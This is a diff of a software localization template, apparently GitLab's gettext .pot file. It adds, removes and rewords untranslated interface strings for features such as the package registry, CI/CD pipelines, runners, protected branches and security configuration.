@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
